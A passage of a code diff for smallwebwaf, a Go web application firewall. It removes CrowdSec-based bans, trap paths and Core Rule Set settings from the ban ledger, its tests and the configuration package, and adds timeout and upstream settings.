// the rule that matched or the scenario of CrowdSec's decision; for an
// admin's, what the admin wrote.
// Reason is a short text: for a ban smallwebwaf made, the limit broken
// or the rule that matched; for an admin's, what the admin wrote.
Reason string
// Lifted is when an admin lifted the ban, zero while no admin has. A
// lifted ban refuses nothing, and does not make the netblock's next
@@ -104,11 +98,10 @@ type Notes struct {
ASName string `json:"as_name"`
Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the error burst, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included.
// what the limit was on, "requests" for a rate limit or "bytes" for a
// byte limit, the limit that was broken, its window, "minute", "hour"
// or "day", and the count reached: the client's requests, or bytes, in
// the window, those of the request that broke the limit included.
// These are what counted toward the ban, and the window is the time
// over which they came.
Kind string `json:"kind,omitempty"`
@@ -122,19 +115,11 @@ type Notes struct {
LimitPercent *int64 `json:"limit_percent,omitempty"`
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWWAF_TRAP_PATHS, that path as the
// client sent it.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
TrapPath string `json:"trap_path,omitempty"`
// Reputation is the reputation sources that listed the client when
// the request that caused the ban was made, in the order the request
// log's reputation names them. It is left out when none did.
Reputation []ReputationHit `json:"reputation,omitempty"`
// of the rule file rule that matched, and its target.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
// Request is the request that broke the limit, or whose bytes broke
// it, that was the clear sign of attack, or that came from a client the
// CrowdSec decision list lists.
// it, or that was the clear sign of attack.
Request Request `json:"request"`
// Requests is how many requests the netblock has sent since it was
// first seen, and Refused how many of them the ban has refused so
@@ -146,22 +131,11 @@ type Notes struct {
EarlierBans EarlierBans `json:"earlier_bans"`
}
// ReputationHit is a reputation source that listed a client, as a
// reputation_hit alert's detail gives it: Source is the URL of the
// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
// client.
type ReputationHit struct {
Source string `json:"source"`
Score *int64 `json:"score,omitempty"`
}
// EarlierBans counts a netblock's bans before a ban, by cause.
type EarlierBans struct {
Limit int `json:"limit"`
Attack int `json:"attack"`
Admin int `json:"admin"`
CrowdSec int `json:"crowdsec"`
Limit int `json:"limit"`
Attack int `json:"attack"`
Admin int `json:"admin"`
}
// Request is a request in a ban's notes. Each text is cut to 256 bytes.
@@ -289,8 +263,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
// BanForLimit bans netblock at now for a broken limit, with notes, and
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
// made within LimitBanRepeatWindow after the netblock's ban that ended
// last, other than one for a clear sign of attack or for CrowdSec's
// decision, or a lifted one, lasts
// last, other than one for a clear sign of attack or a lifted one, lasts
// repeatFactor times as long as that one. A ban that would be longer
// than MaxBanDuration is permanent instead. If a ban on netblock is still
// active, as when two of its requests break a limit at once, that ban is
@@ -301,7 +274,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, true)
}
// WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -309,18 +282,18 @@ func (l *Ledger) BanForLimit(
func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, false)
}
// BanForAttack bans netblock at now for a clear sign of attack, with
// notes, and returns the ban, and whether it made it, as BanForLimit
// does. A first ban lasts AttackBanDuration; once the netblock has had
// one that was not lifted, the next is permanent. Its reason is "matched
// the rule <RuleID>", or "asked for the trap path <TrapPath>".
// the rule <RuleID>".
func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, true)
}
// WouldBanForAttack returns what BanForAttack would, without making the
@@ -328,35 +301,12 @@ func (l *Ledger) BanForAttack(
func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
false)
return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, false)
}
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
// decision on the client ends, with notes, and returns the ban, and
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
true)
}
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
false)
}
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
// CauseAttack or CauseCrowdSec, made at now would be permanent, as
// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
// nothing else of the ban. A ban for CrowdSec's decision is never
// permanent: it ends with the decision.
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit
// or CauseAttack, made at now would be permanent, as BanForLimit or
// BanForAttack would make it. It works out nothing else of the ban.
func (l *Ledger) WouldBePermanent(
netblock netip.Prefix, now time.Time, cause string,
) bool {
@@ -368,14 +318,11 @@ func (l *Ledger) WouldBePermanent(
held = *bans
}
switch cause {
case CauseAttack:
if cause == CauseAttack {
return l.attackExpiry(held, now).IsZero()
case CauseLimit:
return l.limitExpiry(held, now).IsZero()
default: // CauseCrowdSec
return false
}
return l.limitExpiry(held, now).IsZero()
}
// limitReason is the reason of a ban for a broken limit, with notes.
@@ -387,19 +334,9 @@ func limitReason(notes Notes) string {
// attackReason is the reason of a ban for a clear sign of attack, with
// notes.
func attackReason(notes Notes) string {
if notes.TrapPath != "" {
return "asked for the trap path " + notes.TrapPath
}
return "matched the rule " + notes.RuleID
}
// crowdSecReason is the reason of a ban for CrowdSec's decision, which
// scenario made.
func crowdSecReason(scenario string) string {
return "CrowdSec's decision for " + scenario
}
// BanForAdmin bans netblock at now for an admin, with reason, until
// expires, or for good when expires is zero, and returns the ban, whose
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
@@ -637,14 +574,11 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
}
// ban bans netblock at now for cause, with reason and notes, as
// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
// ban, and whether it made it. expires is when a ban for CauseCrowdSec
// ends, and zero for the others, whose end the ledger works out. Unless
// keep is true, the ban is not made, only returned: it is the ban that
// would have been made.
// BanForLimit and BanForAttack describe, and returns the ban, and whether
// it made it. Unless keep is true, the ban is not made, only returned: it
// is the ban that would have been made.
func (l *Ledger) ban(
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
keep bool,
netblock netip.Prefix, now time.Time, cause, reason string, notes Notes, keep bool,
) (Ban, bool) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -666,13 +600,10 @@ func (l *Ledger) ban(
notes.Request = notes.Request.cut()
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
switch cause {
case CauseAttack:
if cause == CauseAttack {
ban.Expires = l.attackExpiry(held, now)
case CauseLimit:
} else {
ban.Expires = l.limitExpiry(held, now)
default: // CauseCrowdSec
ban.Expires = expires
}
if !keep {
@@ -687,51 +618,24 @@ func (l *Ledger) ban(
}
// earlierBans returns how many bans a netblock with the bans held, oldest
// first, has had, by cause. Each ban held gives a count: the bans its
// notes count before it, and one for it and each ban held after it. A
// ban's count misses a ban dropped after it to make room, and that of an
// admin's ban added to bans.json without notes misses the bans before it,
// so the count that names the most bans is taken, whole: a ban an admin
// keeps by giving it CauseAdmin is still counted under its old cause in
// later bans' notes, and taking each cause from another count would count
// it twice.
// first, has had, by cause: the first ban held counts the bans the
// netblock had before that one, since dropped to make room, and each ban
// held adds one.
func earlierBans(held []Ban) EarlierBans {
// fromHere counts ban and the bans held after it.
var most, fromHere EarlierBans
earlier := held[0].Notes.EarlierBans
for _, ban := range slices.Backward(held) {
for _, ban := range held {
switch ban.Cause {
case CauseLimit:
fromHere.Limit++
earlier.Limit++
case CauseAttack:
fromHere.Attack++
earlier.Attack++
case CauseAdmin:
fromHere.Admin++
case CauseCrowdSec:
fromHere.CrowdSec++
}
notes := ban.Notes.EarlierBans
count := EarlierBans{
Limit: notes.Limit + fromHere.Limit,
Attack: notes.Attack + fromHere.Attack,
Admin: notes.Admin + fromHere.Admin,
CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
}
// Of counts that name as many bans, the earlier ban's is taken: it
// counts more of the bans held by the cause they have now.
if count.total() >= most.total() {
most = count
earlier.Admin++
}
}
return most
}
// total returns how many bans e counts, of all causes.
func (e EarlierBans) total() int {
return e.Limit + e.Attack + e.Admin + e.CrowdSec
return earlier
}
// markChanged has Changed receive a value, unless one is waiting already.
@@ -821,16 +725,16 @@ func (l *Ledger) add(ban Ban) {
// limitExpiry returns when a ban for a broken limit made at now ends, or
// zero when it is permanent. held are the netblock's bans, none of them
// active, of which the one that ended last, other than a ban for a clear
// sign of attack or for CrowdSec's decision, or a lifted one, can make the
// new ban longer. A ban an admin adds to bans.json can start after
// another and end before it, so that one is looked for among them all.
// sign of attack or a lifted one, can make the new ban longer. A ban an
// admin adds to bans.json can start after another and end before it, so
// that one is looked for among them all.
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
length := l.rules.LimitBanDuration
var last *Ban
for i, ban := range held {
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
if ban.Cause != CauseAttack && ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) {
last = &held[i]
}
internal/bans/bans_test.go
+7 -8
View File
@@ -2,7 +2,6 @@ package bans_test
import (
"net/netip"
"reflect"
"strings"
"testing"
"time"
@@ -131,13 +130,13 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
if made || again != first || len(ledger.Bans(netblock)) != 1 {
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
}
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
if made || !reflect.DeepEqual(again, first) {
if made || again != first {
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
again, made, first)
}
@@ -183,7 +182,7 @@ func TestFindCountsNothing(t *testing.T) {
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
if !banned || !reflect.DeepEqual(got, ban) {
if !banned || got != ban {
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
}
@@ -192,7 +191,7 @@ func TestFindCountsNothing(t *testing.T) {
t.Error("the ban did not end")
}
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
if notes := ledger.Bans(netblock)[0].Notes; notes != ban.Notes {
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
}
}
@@ -248,7 +247,7 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
held := ledger.Bans(netblock)
if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
if len(held) != 1 || held[0] != second ||
held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the ledger holds %+v, want only the second ban, "+
"with 1 earlier ban for a limit", held)
@@ -343,7 +342,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
// While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
if would || !reflect.DeepEqual(during, first) {
if would || during != first {
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
would, during, first)
}
@@ -372,7 +371,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
// The ban made is the one that would have been.
made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
if !reflect.DeepEqual(made, limit) {
if made != limit {
t.Errorf("the ban made is %+v, want %+v", made, limit)
}
}
internal/bans/crowdsec_test.go
-90
View File
@@ -1,90 +0,0 @@
package bans_test
import (
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// scenario is the scenario of the tests' CrowdSec decisions.
const scenario = "crowdsecurity/ssh-bf"
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
scenario, bans.Notes{})
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
wouldBan, ledger.Bans(netblock))
}
const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
bans.Notes{})
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) || ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
"crowdsec until %s", made, ban, would, expires)
}
// A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
}
}
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
// A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond)
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
"refused under the ban as it was", banned, held, madePermanent)
}
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
t.Error("the ban refuses a request once the decision has ended")
}
}
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does.
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
scenario, bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
limit)
}
}
internal/bans/snapshot_test.go
+2 -3
View File
@@ -2,7 +2,6 @@ package bans_test
import (
"net/netip"
"reflect"
"slices"
"strings"
"testing"
@@ -225,7 +224,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
ledger.Load([]bans.Ban{later, earlier})
held := ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
if len(held) != 1 || held[0] != later {
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
}
}
@@ -268,7 +267,7 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
bans.Notes{})
want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
if got := ledger.Snapshot(); !slices.Equal(got, want) {
t.Errorf("the ledger holds %+v, want %+v", got, want)
}
}
internal/config/config.go
+112 -289
View File
@@ -1,10 +1,7 @@
// Package config reads smallwebwaf's settings, and is the one place they are
// read. Every setting is an environment variable. The settings of `smallwebwaf
// servewaf` start with SWWAF_, every one of them has a default, and most can be
// given as a file instead. Those of `smallwebwaf rproxy` start with SWRP_. Each
// of them but SWRP_WAF_BACKEND has a default, and none can be given as a file,
// since rproxy never touches disk. SMALLWEBWAF_COMMAND chooses which of the two
// the image runs.
// Package config reads smallwebwaf's settings. Every setting is an
// environment variable whose name starts with SWWAF_, or a file such a
// variable names, every setting has a default, and this package is the
// one place they are read.
package config
import (
@@ -31,11 +28,13 @@ import (
"sneak.berlin/go/smallwebwaf/internal/remotelog"
)
// Config is the settings of `smallwebwaf servewaf`. A time or size limit of
// zero is off.
// Config is smallwebwaf's settings. A timeout, size or rate limit of zero
// is off.
type Config struct {
// ListenAddr is where servewaf listens (SWWAF_LISTEN_ADDR).
// ListenAddr is where smallwebwaf listens (SWWAF_LISTEN_ADDR).
ListenAddr string
// UpstreamURL is the app (SWWAF_UPSTREAM_URL).
UpstreamURL *url.URL
// InstanceName is the name every log line and alert gives as instance,
// and every metric carries as its label instance (SWWAF_INSTANCE_NAME),
// by default the host's name, which docker sets to the first 12
@@ -43,15 +42,43 @@ type Config struct {
InstanceName string
// Observe is true in observe mode, when SWWAF_MODE is observe rather
// than enforce: a request that SWWAF_DENY_NETS, a ban, the country
// lists, a rate limit, a rule or the Core Rule Set would refuse is
// allowed instead, and no ban is made.
// lists, a rate limit or a rule would refuse is passed to the app
// instead, and no ban is made.
Observe bool
// TrustedProxies are the netblocks whose X-Forwarded-For is
// believed (SWWAF_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix
// IPv6GroupPrefix is the length of the IPv6 netblock that is one client
// (SWWAF_IPV6_GROUP_PREFIX), from 32 to 128.
IPv6GroupPrefix int
// MaxTrackedClients is the most clients the table of clients holds, in
// memory and in clients.json (SWWAF_MAX_TRACKED_CLIENTS).
MaxTrackedClients int
// ClientRequestTimeout bounds reading the whole request from the
// client (SWWAF_CLIENT_REQUEST_TIMEOUT).
ClientRequestTimeout time.Duration
// ClientRequestHeaderMaxBytes is the largest request line and headers
// a client may send (SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES). It is
// never off, and always more than 4K.
ClientRequestHeaderMaxBytes int64
// ClientIdleTimeout bounds how long a kept-open client connection
// may wait for its next request (SWWAF_CLIENT_IDLE_TIMEOUT).
ClientIdleTimeout time.Duration
// ClientResponseTimeout bounds writing the whole response to the
// client (SWWAF_CLIENT_RESPONSE_TIMEOUT).
ClientResponseTimeout time.Duration
// UpstreamRequestTimeout bounds connecting to the app and writing
// the whole request to it (SWWAF_UPSTREAM_REQUEST_TIMEOUT).
UpstreamRequestTimeout time.Duration
// UpstreamResponseTimeout bounds reading the whole response from
// the app (SWWAF_UPSTREAM_RESPONSE_TIMEOUT).
UpstreamResponseTimeout time.Duration
// RequestMaxBytes is the largest request body
// (SWWAF_REQUEST_MAX_BYTES).
RequestMaxBytes int64
// ResponseMaxBytes is the largest response body
// (SWWAF_RESPONSE_MAX_BYTES).
ResponseMaxBytes int64
// AllowNets are the netblocks whose clients skip every check
// (SWWAF_ALLOW_NETS). RateLimitExemptNets are those whose clients the
// rate limits neither count nor refuse (SWWAF_RATE_LIMIT_EXEMPT_NETS).
@@ -154,13 +181,6 @@ type Config struct {
ReputationLimitPercent int64
ReputationCacheTTL time.Duration
ReputationTimeout time.Duration
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
// engine whose local API SWWAF_CROWDSEC_LAPI_URL names is fetched from:
// that URL with v1/decisions added to its path, "" while it is unset and
// none is. CrowdSecKey is the key the engine is asked with
// (SWWAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// BanResponse is the status a refused client is answered with, 403
// or 429, or 0 to close the connection without an answer
// (SWWAF_BAN_RESPONSE). It answers a banned client, a request that
@@ -212,28 +232,6 @@ type Config struct {
// unless RulesEnabled is false (SWWAF_RULES_ENABLED).
RulesDir string
RulesEnabled bool
// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
// WAFAnomalyThreshold the anomaly score at which a request is a match
// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES),
// WAFExemptPaths the path prefixes it does not inspect
// (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
WAFMode string
WAFParanoiaLevel int
WAFAnomalyThreshold int
WAFDisabledRules []int
WAFExemptPaths []string
WAFBodyLimit int64
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
// ErrorBurstThreshold is the most requests of a client within a minute
// that servewaf may refuse after a rule file or Core Rule Set match; one
// more breaks a limit (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
ErrorBurstThreshold int64
// LogRemoteURL is where every line on stdout is also sent
// (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
@@ -297,16 +295,6 @@ type Config struct {
// off.
const off = "off"
// The values of SWWAF_WAF_MODE.
const (
// WAFModeOff runs no request through the Core Rule Set.
WAFModeOff = off
// WAFModeDetect logs and alerts a match, and refuses nothing.
WAFModeDetect = "detect"
// WAFModeBlock refuses a match with 403.
WAFModeBlock = "block"
)
// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
// lookup database, the file SWWAF_LOOKUP_DB_PATH names.
const fileSource = "file"
@@ -324,19 +312,11 @@ const (
minIPv6GroupPrefix = 32
// minTokenLength is the fewest characters a token may have.
minTokenLength = 32
// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
maxParanoiaLevel = 4
// firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set
// keeps for the rules that set it up, which smallwebwaf's own rules
// have too (see internal/waf). Switching one off would undo a change
// that no setting undoes.
firstSetupRuleID = 900000
lastSetupRuleID = 900999
// masked is what the log shows for a token that is set, and in place of
// a secret in another setting.
masked = "********"
// defaultListenAddr is the default of SWWAF_LISTEN_ADDR and
// SWRP_LISTEN_ADDR, and defaultUpstreamURL that of SWRP_UPSTREAM_URL.
// defaultListenAddr and defaultUpstreamURL are the defaults of
// SWWAF_LISTEN_ADDR and SWWAF_UPSTREAM_URL.
defaultListenAddr = ":8080"
defaultUpstreamURL = "http://127.0.0.1:8081"
)
@@ -364,14 +344,12 @@ var (
errHeaderTakenOut = errors.New(
"is taken out of every request by Go's HTTP server, so it can never " +
"be logged")
errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too")
errNotLookupSource = errors.New("is not geojs, file or off")
errNeedsLookups = errors.New("it needs each client looked up")
errNeedsDBPath = errors.New("it names the file to look clients up in")
errDBPathUnused = errors.New("only file reads it")
errOver64K = errors.New(
"is more than 64K, the most servewaf gets of a body")
errNotCommand = errors.New("is not rproxy or servewaf")
errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too")
errNotLookupSource = errors.New("is not geojs, file or off")
errNeedsLookups = errors.New("it needs each client looked up")
errNeedsDBPath = errors.New("it names the file to look clients up in")
errDBPathUnused = errors.New("only file reads it")
errNotOver4K = errors.New("is not a size of more than 4K, such as 32K")
errNotDurationAboveZero = errors.New(
"is not a duration above zero, such as 1h or 7d")
errNotNumberAboveZero = errors.New(
@@ -393,15 +371,6 @@ var (
errNotBytesCount = errors.New("is not response, request or both")
errNotPathPrefix = errors.New(
"is not a path prefix starting with /, such as /assets/")
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
"is not the id of a Core Rule Set rule, a whole number such as 942100")
errSetupRuleID = errors.New(
"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
"up and of smallwebwaf's own, which cannot be switched off")
errNotBoolean = errors.New("is not true or false")
errNotLogRemoteURL = errors.New(
"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
@@ -441,13 +410,6 @@ var (
"names IPv6 clients are asked about by")
errNotResolver = errors.New("is not an IP address with an optional port, " +
"such as 192.0.2.53 or [2001:db8::53]:5353")
errNotLAPIURL = errors.New(
"is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080")
errNeedsLAPIKey = errors.New("the engine answers no request without it")
errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
errAnotherList = errors.New(
"is in SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too")
)
// FromEnvironment reads the settings with lookupEnv, normally
@@ -460,27 +422,38 @@ var (
func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
env := &environment{lookupEnv: lookupEnv}
cfg := &Config{
ListenAddr: env.address("SWWAF_LISTEN_ADDR"),
ListenAddr: env.address("SWWAF_LISTEN_ADDR", defaultListenAddr),
UpstreamURL: env.appURL("SWWAF_UPSTREAM_URL", defaultUpstreamURL),
InstanceName: env.instanceName(),
Observe: env.observe("SWWAF_MODE", "enforce"),
TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges),
IPv6GroupPrefix: env.ipv6GroupPrefix("SWWAF_IPV6_GROUP_PREFIX", "64"),
MaxTrackedClients: env.numberNotOff("SWWAF_MAX_TRACKED_CLIENTS", "20000"),
AllowNets: env.netblocks("SWWAF_ALLOW_NETS", ""),
RateLimitExemptNets: env.netblocks("SWWAF_RATE_LIMIT_EXEMPT_NETS", ""),
DenyNets: env.netblocks("SWWAF_DENY_NETS", ""),
RateLimitPerMinute: env.count("SWWAF_RATE_LIMIT_PER_MINUTE", "500"),
RateLimitPerHour: env.count("SWWAF_RATE_LIMIT_PER_HOUR", "20000"),
RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "300000"),
RateLimitExemptPaths: env.pathPrefixes("SWWAF_RATE_LIMIT_EXEMPT_PATHS", ""),
BytesLimitPerMinute: env.size("SWWAF_BYTES_LIMIT_PER_MINUTE", "4G"),
BytesLimitPerHour: env.size("SWWAF_BYTES_LIMIT_PER_HOUR", "20G"),
BytesLimitPerDay: env.size("SWWAF_BYTES_LIMIT_PER_DAY", "200G"),
BytesCount: env.bytesCount("SWWAF_BYTES_COUNT", "both"),
LookupSource: env.lookupSource("SWWAF_LOOKUP_SOURCE", "geojs"),
LookupDBPath: env.value("SWWAF_LOOKUP_DB_PATH", ""),
LookupTimeout: env.durationNotOff("SWWAF_LOOKUP_TIMEOUT", "800ms"),
AddLookupHeaders: env.boolean("SWWAF_ADD_LOOKUP_HEADERS", "false"),
DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""),
ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"),
ClientRequestHeaderMaxBytes: env.headerSize(
"SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES", "32K"),
ClientIdleTimeout: env.duration("SWWAF_CLIENT_IDLE_TIMEOUT", "120s"),
ClientResponseTimeout: env.duration("SWWAF_CLIENT_RESPONSE_TIMEOUT", "30m"),
UpstreamRequestTimeout: env.duration("SWWAF_UPSTREAM_REQUEST_TIMEOUT", "60s"),
UpstreamResponseTimeout: env.duration("SWWAF_UPSTREAM_RESPONSE_TIMEOUT", "30m"),
RequestMaxBytes: env.size("SWWAF_REQUEST_MAX_BYTES", "100M"),
ResponseMaxBytes: env.size("SWWAF_RESPONSE_MAX_BYTES", "5G"),
AllowNets: env.netblocks("SWWAF_ALLOW_NETS", ""),
RateLimitExemptNets: env.netblocks("SWWAF_RATE_LIMIT_EXEMPT_NETS", ""),
DenyNets: env.netblocks("SWWAF_DENY_NETS", ""),
RateLimitPerMinute: env.count("SWWAF_RATE_LIMIT_PER_MINUTE", "1000"),
RateLimitPerHour: env.count("SWWAF_RATE_LIMIT_PER_HOUR", "10000"),
RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "50000"),
RateLimitExemptPaths: env.pathPrefixes("SWWAF_RATE_LIMIT_EXEMPT_PATHS", ""),
BytesLimitPerMinute: env.size("SWWAF_BYTES_LIMIT_PER_MINUTE", "10G"),
BytesLimitPerHour: env.size("SWWAF_BYTES_LIMIT_PER_HOUR", "20G"),
